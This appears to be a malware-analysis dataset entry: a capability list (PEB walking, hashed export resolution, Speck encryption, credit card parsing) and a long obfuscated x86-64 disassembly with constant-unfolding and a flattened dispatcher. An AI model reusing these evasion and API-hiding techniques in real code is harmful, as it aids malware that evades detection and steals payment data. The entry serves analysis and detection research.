Function at 0x1400c2152
Capabilities:
Access peb ldr_data
Authenticate hmac
Check os version
Encrypt data using speck
Get number of processors
Hash data using fnv
Parse credit card information
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0xb753bdb6
pushf
not eax
add eax, 0xb4268a86
xor eax, 0xff289203
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xdd0df78e
xor eax, 0xf392c77e
rol eax, 0x34
popf
cmp eax, 0x59
jne 0x1400c218f
popf
pop rax
jmp 0x1400c65e0
cmp eax, 0x48
jne 0x1400c219e
popf
pop rax
jmp 0x1400c5bfc
cmp eax, 0x3f
jne 0x1400c21ad
popf
pop rax
jmp 0x1400c5286
cmp eax, 1
jne 0x1400c21bc
popf
pop rax
jmp 0x1400c2791
cmp eax, 0x4a
jne 0x1400c21cb
popf
pop rax
jmp 0x1400c5cfd
cmp eax, 0x1a
jne 0x1400c21da
popf
pop rax
jmp 0x1400c3a13
cmp eax, 0x44
jne 0x1400c21e9
popf
pop rax
jmp 0x1400c56aa
cmp eax, 0x58
jne 0x1400c21f8
popf
pop rax
jmp 0x1400c65a6
cmp eax, 0x40
jne 0x1400c2207
popf
pop rax
jmp 0x1400c5325
cmp eax, 8
jne 0x1400c2216
popf
pop rax
jmp 0x1400c2e6d
cmp eax, 0x2a
jne 0x1400c2225
popf
pop rax
jmp 0x1400c439b
cmp eax, 0x17
jne 0x1400c2234
popf
pop rax
jmp 0x1400c373b
cmp eax, 0x1c
jne 0x1400c2243
popf
pop rax
jmp 0x1400c3b09
cmp eax, 0x2e
jne 0x1400c2252
popf
pop rax
jmp 0x1400c4829
cmp eax, 0x4c
jne 0x1400c2261
popf
pop rax
jmp 0x1400c5ea8
cmp eax, 0x2b
jne 0x1400c2270
popf
pop rax
jmp 0x1400c444c
cmp eax, 0x1b
jne 0x1400c227f
popf
pop rax
jmp 0x1400c3a51
cmp eax, 0x2d
jne 0x1400c228e
popf
pop rax
jmp 0x1400c46ae
cmp eax, 0x23
jne 0x1400c229d
popf
pop rax
jmp 0x1400c3f93
cmp eax, 0x25
jne 0x1400c22ac
popf
pop rax
jmp 0x1400c4111
cmp eax, 0x43
jne 0x1400c22bb
popf
pop rax
jmp 0x1400c55c7
cmp eax, 0x13
jne 0x1400c22ca
popf
pop rax
jmp 0x1400c3511
cmp eax, 0x33
jne 0x1400c22d9
popf
pop rax
jmp 0x1400c4c89
cmp eax, 0x24
jne 0x1400c22e8
popf
pop rax
jmp 0x1400c4042
cmp eax, 0x1e
jne 0x1400c22f7
popf
pop rax
jmp 0x1400c3dd4
cmp eax, 0xc
jne 0x1400c2306
popf
pop rax
jmp 0x1400c3062
cmp eax, 0x26
jne 0x1400c2315
popf
pop rax
jmp 0x1400c4149
cmp eax, 0x27
jne 0x1400c2324
popf
pop rax
jmp 0x1400c41f4
cmp eax, 0x30
jne 0x1400c2333
popf
pop rax
jmp 0x1400c48d0
cmp eax, 0x10
jne 0x1400c2342
popf
pop rax
jmp 0x1400c33cf
cmp eax, 0x37
jne 0x1400c2351
popf
pop rax
jmp 0x1400c4e43
cmp eax, 9
jne 0x1400c2360
popf
pop rax
jmp 0x1400c2ead
cmp eax, 0x39
jne 0x1400c236f
popf
pop rax
jmp 0x1400c4f46
cmp eax, 0x16
jne 0x1400c237e
popf
pop rax
jmp 0x1400c36d6
cmp eax, 0x3b
jne 0x1400c238d
popf
pop rax
jmp 0x1400c5060
cmp eax, 0x4b
jne 0x1400c239c
popf
pop rax
jmp 0x1400c5de4
cmp eax, 0x36
jne 0x1400c23ab
popf
pop rax
jmp 0x1400c4dde
cmp eax, 0x14
jne 0x1400c23ba
popf
pop rax
jmp 0x1400c35ba
cmp eax, 0x46
jne 0x1400c23c9
popf
pop rax
jmp 0x1400c5815
cmp eax, 0x3d
jne 0x1400c23d8
popf
pop rax
jmp 0x1400c515d
cmp eax, 2
jne 0x1400c23e7
popf
pop rax
jmp 0x1400c27de
cmp eax, 0x47
jne 0x1400c23f6
popf
pop rax
jmp 0x1400c5bab
cmp eax, 0x51
jne 0x1400c2405
popf
pop rax
jmp 0x1400c61a4
cmp eax, 0x11
jne 0x1400c2414
popf
pop rax
jmp 0x1400c3421
cmp eax, 0x35
jne 0x1400c2423
popf
pop rax
jmp 0x1400c4d84
cmp eax, 0x3a
jne 0x1400c2432
popf
pop rax
jmp 0x1400c5015
cmp eax, 0x12
jne 0x1400c2441
popf
pop rax
jmp 0x1400c3488
cmp eax, 0x21
jne 0x1400c2450
popf
pop rax
jmp 0x1400c3eda
cmp eax, 0x38
jne 0x1400c245f
popf
pop rax
jmp 0x1400c4eaa
cmp eax, 0xb
jne 0x1400c246e
popf
pop rax
jmp 0x1400c2f90
cmp eax, 0xf
jne 0x1400c247d
popf
pop rax
jmp 0x1400c3362
cmp eax, 0x15
jne 0x1400c248c
popf
pop rax
jmp 0x1400c3618
cmp eax, 5
jne 0x1400c249b
popf
pop rax
jmp 0x1400c297b
cmp eax, 6
jne 0x1400c24aa
popf
pop rax
jmp 0x1400c2a12
cmp eax, 0x5a
jne 0x1400c24b9
popf
pop rax
jmp 0x1400c671c
cmp eax, 0x49
jne 0x1400c24c8
popf
pop rax
jmp 0x1400c5c4d
cmp eax, 0x1f
jne 0x1400c24d7
popf
pop rax
jmp 0x1400c3e17
cmp eax, 4
jne 0x1400c24e6
popf
pop rax
jmp 0x1400c28f6
cmp eax, 0x2f
jne 0x1400c24f5
popf
pop rax
jmp 0x1400c4892
cmp eax, 0x4d
jne 0x1400c2504
popf
pop rax
jmp 0x1400c5f3f
cmp eax, 0x55
jne 0x1400c2513
popf
pop rax
jmp 0x1400c645a
cmp eax, 0x45
jne 0x1400c2522
popf
pop rax
jmp 0x1400c5769
cmp eax, 0x2c
jne 0x1400c2531
popf
pop rax
jmp 0x1400c45a6
cmp eax, 3
jne 0x1400c2540
popf
pop rax
jmp 0x1400c2896
cmp eax, 0x19
jne 0x1400c254f
popf
pop rax
jmp 0x1400c39aa
cmp eax, 0x1d
jne 0x1400c255e
popf
pop rax
jmp 0x1400c3bdb
cmp eax, 0x34
jne 0x1400c256d
popf
pop rax
jmp 0x1400c4ccc
cmp eax, 0x53
jne 0x1400c257c
popf
pop rax
jmp 0x1400c633c
cmp eax, 0x4f
jne 0x1400c258b
popf
pop rax
jmp 0x1400c6045
cmp eax, 0x42
jne 0x1400c259a
popf
pop rax
jmp 0x1400c557c
cmp eax, 7
jne 0x1400c25a9
popf
pop rax
jmp 0x1400c2d05
cmp eax, 0x20
jne 0x1400c25b8
popf
pop rax
jmp 0x1400c3e96
cmp eax, 0x56
jne 0x1400c25c7
popf
pop rax
jmp 0x1400c653b
cmp eax, 0x3c
jne 0x1400c25d6
popf
pop rax
jmp 0x1400c511e
cmp eax, 0xd
jne 0x1400c25e5
popf
pop rax
jmp 0x1400c328d
cmp eax, 0xa
jne 0x1400c25f4
popf
pop rax
jmp 0x1400c2eeb
cmp eax, 0x18
jne 0x1400c2603
popf
pop rax
jmp 0x1400c3855
cmp eax, 0x28
jne 0x1400c2612
popf
pop rax
jmp 0x1400c4246
cmp eax, 0x22
jne 0x1400c2621
popf
pop rax
jmp 0x1400c3f19
cmp eax, 0x50
jne 0x1400c2630
popf
pop rax
jmp 0x1400c60a3
cmp eax, 0x52
jne 0x1400c263f
popf
pop rax
jmp 0x1400c6267
cmp eax, 0x41
jne 0x1400c264e
popf
pop rax
jmp 0x1400c53e6
cmp eax, 0xe
jne 0x1400c265d
popf
pop rax
jmp 0x1400c32d0
cmp eax, 0x32
jne 0x1400c266c
popf
pop rax
jmp 0x1400c4a34
cmp eax, 0x29
jne 0x1400c267b
popf
pop rax
jmp 0x1400c433f
cmp eax, 0x3e
jne 0x1400c268a
popf
pop rax
jmp 0x1400c5214
cmp eax, 0
jne 0x1400c2699
popf
pop rax
jmp 0x1400c26d5
cmp eax, 0x4e
jne 0x1400c26a8
popf
pop rax
jmp 0x1400c5fdc
cmp eax, 0x31
jne 0x1400c26b7
popf
pop rax
jmp 0x1400c4962
cmp eax, 0x54
jne 0x1400c26c6
popf
pop rax
jmp 0x1400c63fa
cmp eax, 0x57
jne 0x1400c26d5
popf
pop rax
jmp 0x1400c6575
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x408
call fcn.1400af5c3
mov rcx, qword [rsp + 0x430]
call fcn.14012ae68
mov dword [rsp + 0x64], eax
mov ecx, dword [rsp + 0x64]
call fcn.14012a9d9
cmp dword [rsp + 0x64], 0
jne 0x1400c275e
push rax
pushf
mov eax, 0xec5526d1
pushf
not eax
add eax, 0xd919502e
xor eax, 0xabaf6f02
rol eax, 0x1e
popf
pushf
not eax
add eax, 0x9eb39716
xor eax, 0x9e3c2c37
rol eax, 0x35
popf
pushf
not eax
add eax, 0xd33555ac
xor eax, 0xaa82f90e
rol eax, 0x69
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0xe4774b31
pushf
not eax
add eax, 0xf14cacbf
xor eax, 0xa6f36fc8
rol eax, 0x3d
popf
pushf
not eax
add eax, 0xa7a196cc
xor eax, 0xf25cd403
rol eax, 0xb9
popf
jmp 0x1400c2180
xor al, al
jmp 0x1400c671c
mov ecx, dword [rsp + 0x64]
call fcn.14012711d
mov qword [rsp + 0x228], rax
mov rax, qword [rsp + 0x428]
mov qword [rsp + 0x88], rax
cmp qword [rsp + 0x88], 0
jne 0x1400c2850
push rax
pushf
mov eax, 0x2fa2d7be
pushf
not eax
add eax, 0x9569a577
xor eax, 0x92a9556e
rol eax, 0xec
popf
pushf
not eax
add eax, 0x98b185b5
xor eax, 0xf922acbc
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xd0f402cc
xor eax, 0xc75be781
rol eax, 0xfb
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0xf0ca8244
pushf
not eax
add eax, 0x82e3890d
xor eax, 0xefa53d9e
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xc3890f34
xor eax, 0xfa9b8f1e
rol eax, 0xed
popf
pushf
not eax
add eax, 0xd28bb997
xor eax, 0x8cac56a8
rol eax, 0x2f
popf
jmp 0x1400c2180
xor al, al
jmp 0x1400c671c
movzx eax, byte [rsp + 0x438]
test eax, eax
je 0x1400c2935
push rax
pushf
mov eax, 0x82fa96a6
pushf
not eax
add eax, 0x8cb30908
xor eax, 0xa5729144
rol eax, 0x42
popf
pushf
not eax
add eax, 0xac16fc40
xor eax, 0xf8eb6ee9
rol eax, 0xda
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0xfc227cde
pushf
not eax
add eax, 0xc13d495c
xor eax, 0xf334c5b0
rol eax, 0x27
popf
pushf
not eax
add eax, 0x8be34b1e
xor eax, 0xd207be7d
rol eax, 0x91
popf
pushf
not eax
add eax, 0x906563e4
xor eax, 0xda661650
rol eax, 0x5c
popf
jmp 0x1400c2180
mov edx, 0x131c550e
pushf
not edx
add edx, 0x8907a5ec
xor edx, 0xee3a079c
rol edx, 0xad
popf
pushf
not edx
add edx, 0xf96fa801
xor edx, 0xf73b0163
rol edx, 0x44
popf
pushf
not edx
add edx, 0xccd18f2b
xor edx, 0xb10a30df
rol edx, 0x21
popf
mov rcx, qword [rsp + 0x228]
call fcn.140101258
push rax
pushf
mov eax, 0x671e092c
pushf
not eax
add eax, 0x829f44dc
xor eax, 0xd29f3782
rol eax, 0x57
popf
pushf
not eax
add eax, 0xafbb44c4
xor eax, 0xf3836eaf
rol eax, 0x63
popf
pushf
not eax
add eax, 0xfc528226
xor eax, 0xa1a3a812
rol eax, 0x7a
popf
jmp 0x1400c2180
mov rcx, qword [rsp + 0x88]
call fcn.1400cec8a
mov qword [rsp + 0x78], rax
call fcn.14012d441
mov eax, dword [0x140040214]
mov dword [rsp + 0x130], eax
lea rax, [rsp + 0x60]
mov rdi, rax
xor eax, eax
mov ecx, 0xd6f141e5
pushf
not ecx
add ecx, 0xa1a4ff14
xor ecx, 0xdd16fae6
rol ecx, 0xdc
popf
pushf
not ecx
add ecx, 0xe3c2a8a4
xor ecx, 0xa72a92a8
rol ecx, 9
popf
pushf
not ecx
add ecx, 0xa88554d7
xor ecx, 0xc2384977
rol ecx, 0x72
popf
pushf
not ecx
add ecx, 0x8030c3c9
xor ecx, 0x8f4450c7
rol ecx, 0x94
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x3b0]
lea rcx, [0x1b140936a]
pushf
sub rcx, 0x713d752a
popf
mov rdi, rax
mov rsi, rcx
mov ecx, 0xaa89d450
pushf
not ecx
add ecx, 0x8d29eba8
xor ecx, 0xb6914183
rol ecx, 0x9b
popf
pushf
not ecx
add ecx, 0xceedf7b1
xor ecx, 0xb6c88cb9
rol ecx, 0x93
popf
pushf
not ecx
add ecx, 0xa1a0d5f3
xor ecx, 0xfa7a1a96
rol ecx, 0xbe
popf
pushf
not ecx
add ecx, 0x90aa1fb5
xor ecx, 0xb72a98d5
rol ecx, 0x82
popf
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x3b0]
call fcn.1400c6d8d
mov qword [rsp + 0x230], rax
mov edx, dword [rsp + 0x130]
mov rcx, qword [rsp + 0x230]
call fcn.1400fd00d
mov qword [rsp + 0x218], rax
mov eax, dword [0x140040214]
mov dword [rsp + 0x134], eax
lea rax, [rsp + 0x61]
mov rdi, rax
xor eax, eax
mov ecx, 0xd91b465a
pushf
not ecx
add ecx, 0xec4ab0ab
xor ecx, 0xf750981c
rol ecx, 0xf7
popf
pushf
not ecx
add ecx, 0xe6afb2a1
xor ecx, 0x82a71add
rol ecx, 0x42
popf
pushf
not ecx
add ecx, 0x8f0806fe
xor ecx, 0x849e6516
rol ecx, 0x1f
popf
rep stosb byte [rdi], al
lea rax, [rsp + 0x3d2]
lea rcx, [0x1b44ad129]
pushf
sub rcx, 0x7447b339
popf
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1dafed15
pushf
not ecx
add ecx, 0xf4c1de4a
xor ecx, 0xb6980580
rol ecx, 0x76
popf
pushf
not ecx
add ecx, 0xdcc00637
xor ecx, 0xd192d06e
rol ecx, 0
popf
pushf
not ecx
add ecx, 0xfc182845
xor ecx, 0x8a7ed8bb
rol ecx, 0xa1
popf
pushf
not ecx
add ecx, 0xeeeb9708
xor ecx, 0xffb2bd53
rol ecx, 0xa2
popf
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x3d2]
call fcn.1400c69ce
mov qword [rsp + 0x238], rax
mov edx, dword [rsp + 0x134]
mov rcx, qword [rsp + 0x238]
call fcn.1400fd00d
mov qword [rsp + 0x240], rax
mov rax, qword [rsp + 0x240]
add rax, 0x386008
mov qword [rsp + 0x398], rax
mov rax, qword [rsp + 0x3a0]
mov qword [rsp + 0x178], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0x248]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x250]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x258], rax
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0x170], rax
push rax
pushf
mov eax, 0x3feda2e2
pushf
not eax
add eax, 0xec31a561
xor eax, 0x8132a6a2
rol eax, 0x12
popf
pushf
not eax
add eax, 0xa8400c0b
xor eax, 0xf031a12c
rol eax, 0xe7
popf
pushf
not eax
add eax, 0x8d7238f4
xor eax, 0xcdf6aa80
rol eax, 0xa2
popf
jmp 0x1400c2180
mov rax, qword [rsp + 0x170]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xc8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xc8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x260], rax
mov eax, 0x45c0756e
pushf
not eax
add eax, 0xbcb73f03
xor eax, 0xc103718e
rol eax, 0x28
popf
pushf
not eax
add eax, 0x801c31c9
xor eax, 0xbfcc45e8
rol eax, 0x96
popf
pushf
not eax
add eax, 0xb26eb85a
xor eax, 0xf4216e45
rol eax, 0x76
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x260]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x1c8], rax
mov eax, dword [rsp + 0x1c8]
mov rcx, qword [rsp + 0xc8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0xf0], rax
mov eax, dword [rsp + 0x1cc]
mov dword [rsp + 0xf8], eax
mov rax, qword [rsp + 0xe8]
cmp qword [rsp + 0xf0], rax
je 0x1400c2e27
push rax
pushf
mov eax, 0x67f66337
pushf
not eax
add eax, 0xffb9e59c
xor eax, 0x97b8fc95
rol eax, 0x11
popf
pushf
not eax
add eax, 0xf15ee364
xor eax, 0xf37ee26d
rol eax, 0x32
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0xcdc3795f
pushf
not eax
add eax, 0x9dd3aa33
xor eax, 0xf5e1cdbf
rol eax, 0xfb
popf
pushf
not eax
add eax, 0x814c75af
xor eax, 0xd0bb5c1b
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xd3fe1a38
xor eax, 0x963d52b2
rol eax, 0xcf
popf
jmp 0x1400c2180
mov dword [rsp + 0xa4], 1
jmp 0x1400c2eeb
mov dword [rsp + 0xa4], 0
push rax
pushf
mov eax, 0xcf4cd01c
pushf
not eax
add eax, 0xf32db8bf
xor eax, 0xd716b1ea
rol eax, 0x55
popf
pushf
not eax
add eax, 0xbb4179f4
xor eax, 0x92239b28
rol eax, 0x13
popf
jmp 0x1400c2180
movzx eax, byte [rsp + 0xa4]
mov byte [rsp + 0x33], al
movzx eax, byte [rsp + 0x33]
test eax, eax
je 0x1400c2f5d
push rax
pushf
mov eax, 0x2b7922cb
pushf
not eax
add eax, 0xab27bf30
xor eax, 0x9ce52fc1
rol eax, 0x49
popf
pushf
not eax
add eax, 0xd3366fa4
xor eax, 0xf7dd6f0f
rol eax, 0x73
popf
pushf
not eax
add eax, 0x92e326f6
xor eax, 0xd85e9784
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xc3ade62c
xor eax, 0x93dd9ce4
rol eax, 0x24
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x5cc5e099
pushf
not eax
add eax, 0xe020410a
xor eax, 0xef10f8a9
rol eax, 0xc6
popf
pushf
not eax
add eax, 0xf98bd320
xor eax, 0xe6e59d94
rol eax, 0xfc
popf
jmp 0x1400c2180
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x18]
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x3c]
mov dword [rsp + 0x138], eax
mov eax, dword [rsp + 0x3c]
jmp 0x1400c2faf
dec eax
mov dword [rsp + 0x3c], eax
cmp dword [rsp + 0x138], 0
je 0x1400c301c
push rax
pushf
mov eax, 0xab52cd3d
pushf
not eax
add eax, 0x80410d87
xor eax, 0x9c224933
rol eax, 0xeb
popf
pushf
not eax
add eax, 0xff747ea9
xor eax, 0xe21a839c
rol eax, 0x72
popf
pushf
not eax
add eax, 0xbabdcbdd
xor eax, 0x9fb51b38
rol eax, 0x37
popf
pushf
not eax
add eax, 0xf26ac1ed
xor eax, 0xdc38c686
rol eax, 0x34
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x2814eb20
pushf
not eax
add eax, 0xd6a914e6
xor eax, 0xd37112da
rol eax, 0x6f
popf
pushf
not eax
add eax, 0x837425d4
xor eax, 0xf95edb28
rol eax, 0xee
popf
pushf
not eax
add eax, 0xa56a73c0
xor eax, 0xf5f97c91
rol eax, 0x54
popf
jmp 0x1400c2180
mov eax, dword [rsp + 0x370]
mov dword [rsp + 0xa8], eax
movabs rax, 0xf6e409811c8d7437
pushf
not rax
add rax, 0x5440c366
xor rax, 0x723c8082
rol rax, 0xe3
popf
pushf
not rax
add rax, 0x771d3842
xor rax, 0x40e5f89d
rol rax, 0x1f
popf
shr rax, 0x20
mov dword [rsp + 0xa8], eax
mov rax, qword [rsp + 0x3a8]
mov qword [rsp + 0x1d0], rax
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp + 0xe8]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov ecx, dword [rsp + 0x3c]
mov eax, dword [rax + rcx*4]
add rax, qword [rsp + 0xe8]
mov qword [rsp + 0x1d0], rax
movabs rax, 0x2b2183c7d63ca69d
pushf
not rax
add rax, 0x46c59859
xor rax, 0x683d3f90
rol rax, 0x90
popf
pushf
not rax
add rax, 0x42e5b9c8
xor rax, 0x72547fb7
rol rax, 0x1f
popf
pushf
not rax
add rax, 0x5eb3778b
xor rax, 0x5250b00f
rol rax, 0xf2
popf
pushf
not rax
add rax, 0x45ac9f1c
xor rax, 0x73fc3eef
rol rax, 0x12
popf
mov ecx, 0x566eeb56
pushf
not ecx
add ecx, 0xbb18aa04
xor ecx, 0xc64a4dc2
rol ecx, 0x78
popf
pushf
not ecx
add ecx, 0xb8004dc9
xor ecx, 0x9479ac94
rol ecx, 0xd5
popf
pushf
not ecx
add ecx, 0xcb9f1b1b
xor ecx, 0xd5756b06
rol ecx, 0x18
popf
pushf
not ecx
add ecx, 0xa65a221e
xor ecx, 0xde9bf4df
rol ecx, 0x3c
popf
and rax, rcx
mov dword [rsp + 0x13c], eax
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x168], rax
mov eax, dword [rsp + 0xa8]
mov dword [rsp + 0x68], eax
mov rax, qword [rsp + 0x168]
movzx eax, byte [rax]
mov byte [rsp + 0x34], al
mov rax, qword [rsp + 0x168]
inc rax
mov qword [rsp + 0x168], rax
movzx eax, byte [rsp + 0x34]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
test eax, eax
jne 0x1400c325a
push rax
pushf
mov eax, 0xd16a0bbd
pushf
not eax
add eax, 0x90d61e00
xor eax, 0xee4362f8
rol eax, 0x33
popf
pushf
not eax
add eax, 0xdb55d289
xor eax, 0xdb1295a2
rol eax, 0x4c
popf
pushf
not eax
add eax, 0xf5c83e72
xor eax, 0xd7fd5f88
rol eax, 0x97
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x794f208e
pushf
not eax
add eax, 0x9299993d
xor eax, 0xf1fdd998
rol eax, 0x4f
popf
pushf
not eax
add eax, 0xb6c3f153
xor eax, 0xe6287bf7
rol eax, 0x79
popf
jmp 0x1400c2180
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x140], eax
jmp 0x1400c3488
xor eax, eax
test eax, eax
je 0x1400c332f
push rax
pushf
mov eax, 0xa7ca237d
pushf
not eax
add eax, 0xf5593977
xor eax, 0xc809a0c9
rol eax, 0x7e
popf
pushf
not eax
add eax, 0xf6dd86f0
xor eax, 0xefe2a708
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xcb2056fa
xor eax, 0xac26f5a2
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xbe255f2a
xor eax, 0x9fa9fe59
rol eax, 0xca
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x187fbeb8
pushf
not eax
add eax, 0xa4be27ea
xor eax, 0x994b9c10
rol eax, 0xea
popf
pushf
not eax
add eax, 0xa1979a9a
xor eax, 0xd9c31644
rol eax, 0xa8
popf
jmp 0x1400c2180
movsx eax, byte [rsp + 0x30]
or eax, 0x20
mov dword [rsp + 0xac], eax
jmp 0x1400c3421
movsx eax, byte [rsp + 0x30]
mov dword [rsp + 0xac], eax
push rax
pushf
mov eax, 0x15097522
pushf
not eax
add eax, 0xc8cf86d5
xor eax, 0xcd445275
rol eax, 0xdb
popf
pushf
not eax
add eax, 0x8d8b43db
xor eax, 0x8b13bb6d
rol eax, 0xca
popf
pushf
not eax
add eax, 0xe329f70c
xor eax, 0xc1feafa1
rol eax, 0xe8
popf
jmp 0x1400c2180
mov eax, dword [rsp + 0xac]
mov ecx, dword [rsp + 0x68]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x68], eax
jmp 0x1400c31e0
mov eax, dword [rsp + 0x13c]
cmp dword [rsp + 0x140], eax
jne 0x1400c34cb
push rax
pushf
mov eax, 0x97f56af9
pushf
not eax
add eax, 0x981cc73c
xor eax, 0x9ca8ada9
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xc1e4786a
xor eax, 0x8470e64d
rol eax, 0x7f
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0xb2c27fa7
pushf
not eax
add eax, 0xcd3ef83c
xor eax, 0xc47c697c
rol eax, 0x41
popf
pushf
not eax
add eax, 0x86630ad0
xor eax, 0xdee9b53e
rol eax, 0x89
popf
pushf
not eax
add eax, 0xa1c26798
xor eax, 0x8b18676e
rol eax, 0x53
popf
jmp 0x1400c2180
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0xe8]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0xf0]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0xe8]
mov qword [rsp + 0x268], rax
mov eax, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x268]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x270]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0xe8]
mov qword [rsp + 0x278], rax
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0x178], rax
jmp 0x1400c373b
jmp 0x1400c2f9f
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0x280]
mov rax, qword [rax]
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0x288]
mov qword [rsp + 0x170], rax
mov byte [rsp + 0x35], 1
movzx eax, byte [rsp + 0x35]
test eax, eax
jne 0x1400c36a3
push rax
pushf
mov eax, 0x9b4bf1ad
pushf
not eax
add eax, 0x90f975c6
xor eax, 0xe94adbe7
rol eax, 0xe6
popf
pushf
not eax
add eax, 0x9ac78ea4
xor eax, 0x97de3c8b
rol eax, 0xd8
popf
pushf
not eax
add eax, 0xae7b78e8
xor eax, 0x96844737
rol eax, 0x83
popf
jmp 0x1400c2180
push rax
pushf
mov eax, 0x38eebb3e
pushf
not eax
add eax, 0x8f511233
xor eax, 0x8aa103d5
rol eax, 0xb3
popf
pushf
not eax
add eax, 0x9ecc7c9f
xor eax, 0xcdbd9684
rol eax, 0x65
popf
jmp 0x1400c2180
mov qword [rsp + 0x178], 0
push rax
pushf
mov eax, 0x3864fdb2
pushf
not eax
add eax, 0x8df9a085
xor eax, 0xb45b1ec4
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xfe70e732
xor eax, 0xe247f961
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xeb47f8d6
xor eax, 0xaa759f83
rol eax, 0x8e
popf
pushf
not eax
add eax, 0xdd7b1ba3
xor eax, 0xba4653eb
rol eax, 0xb
popf
jmp 0x1400c2180
mov ecx, 0xa51ba912
pushf
not ecx
add ecx, 0xfb7d81bc
xor ecx, 0xcfc81440
rol ecx, 0x1e
popf
pushf
not ecx
add ecx, 0x9a5f858b
xor ecx, 0xa01defe6
rol ecx, 0x67
popf
pushf
not ecx
add ecx, 0xaab247e1
xor ecx, 0xb6336d63
rol ecx, 0x80
popf
jmp 0x1400c3780
call qword [rsp + 0x178]
mov rax, qword [rsp + 0x218]
add rax, 0x3000
mov qword [rsp + 0x58], rax
mov r8, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x58]
call fcn.1400fbabc
movzx eax, al
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x88]
call fcn.1400a54ff
movzx eax, al
mov rax, qword [rsp + 0x378]
mov qword [rsp + 0x190], rax
mov rax, qword gs:[0x60]
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x290]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x298], rax
mov rax, qword [rsp + 0x298]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x2a0], rax
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x188], rax
push rax
pushf
mov eax, 0xbd94a08c
pushf
not eax
add eax, 0xa722179f
xor eax, 0xb6d61a81
rol eax, 0x31
popf
pushf
not eax
add eax, 0xacc66d97
xor eax, 0xd19faed0
rol eax, 0x5f
popf
jmp 0x1400c2180
mov rax, qword [rsp + 0x188]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0xd0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0xd0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x2a8], rax
mov eax, 0xc21f4cee
pushf
not eax
add eax, 0x95632146
xor eax, 0x91b3d569
rol eax, 0x36
popf
pushf
not eax
add eax, 0xe055acc2
xor eax, 0x90c4f0c0
rol eax, 0x63
popf
imul rax, rax, 0
mov rcx, qword [rsp + 0x2a8]
mov rax, qword [rcx + rax + 0x88]
mov qword [rsp + 0x1d8], rax
mov eax, dword [rsp + 0x1d8]
mov rcx, qword [rsp + 0xd0]
push rax
not rax
sub rcx, rax
pop rax
sub rcx, 1
mov rax, rcx
mov qword [rsp + 0x120], rax
mov eax, dword [rsp + 0x1dc]
mov dword [rsp + 0x128], eax
mov rax, qword [rsp + 0x118]
cmp qword [rsp + 0x120], rax
je 0x1400c3964
push rax
pushf
